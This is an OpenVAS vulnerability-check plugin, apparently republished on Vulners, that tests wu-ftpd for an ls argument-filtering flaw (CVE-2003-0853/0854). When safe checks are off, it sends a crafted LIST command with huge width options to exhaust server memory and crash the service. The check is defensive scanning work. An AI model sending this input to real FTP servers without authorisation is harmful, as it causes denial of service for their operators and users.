wu-ftpd ls -W memory exhaustion
🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2003 Michel ArboiType
openvas🔗 plugins.openvas.org👁 26 Views
10
| Source | Link |
|---|---|
| guninski | www.guninski.com/binls.html |
| www.768 | |
| securityfocus | www.securityfocus.com/bid/8875 |
# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:washington_university:wu-ftpd";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11912");
script_version("2023-12-20T05:05:58+0000");
script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2003-0853", "CVE-2003-0854");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_name("wu-ftpd ls -W memory exhaustion");
script_category(ACT_DENIAL);
script_family("FTP");
script_copyright("Copyright (C) 2003 Michel Arboi");
script_dependencies("gb_wu-ftpd_detect.nasl", "logins.nasl");
script_require_ports("Services/ftp", 21);
script_mandatory_keys("wu-ftpd/installed");
script_xref(name:"URL", value:"http://www.guninski.com/binls.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/8875");
script_xref(name:"CONECTIVA", value:"CLA-2003:768");
script_xref(name:"zone-h", value:"3299");
script_tag(name:"summary", value:"The FTP server does not filter arguments to the ls command.");
script_tag(name:"insight", value:"It is possible to consume all available memory on the machine
by sending
ls '-w 1000000 -C'");
script_tag(name:"solution", value:"Contact your vendor for a fix.");
script_tag(name:"qod_type", value:"remote_probe");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("ftp_func.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];
soc = open_sock_tcp( port );
if( ! soc ) exit( 0 );
if( ! ftp_authenticate( socket:soc, user:user, pass:pass ) ) exit( 0 );
port2 = ftp_pasv( socket:soc );
if( ! port2 ) {
ftp_close( socket:soc );
exit( 0 );
}
soc2 = open_sock_tcp( port2, transport:ENCAPS_IP );
if( ! soc2 ) {
send( socket:soc, data:'LIST -ABCDEFGHIJKLMNOPQRSTUV\r\n' );
r1 = ftp_recv_line( socket:soc );
if( egrep( string:r1, pattern:"invalid option|usage:", icase:TRUE ) )
security_message( port:port );
if( soc2 ) close( soc2 );
ftp_close( socket:soc );
exit( 0 );
}
if( safe_checks() ) exit( 0 );
start_denial();
send( socket:soc, data:'LIST "-W 1000000 -C"\r\n' );
r1 = ftp_recv_line( socket:soc );
l = ftp_recv_listing( socket:soc2 );
r2 = ftp_recv_line( socket:soc );
close( soc2 );
ftp_close( socket:soc );
alive = end_denial();
if( ! alive ) {
security_message( port:port );
exit( 0 );
}
if( egrep( string:r2, pattern:"exhausted|failed", icase:TRUE ) ) {
security_message( port:port );
exit( 0 );
}
soc = open_sock_tcp( port );
if( ! soc || ! ftp_authenticate( socket:soc, user:user, pass:pass ) )
security_message( port:port );
if( soc ) ftp_close( socket:soc );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Dec 2023 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 22.1
EPSS0.0106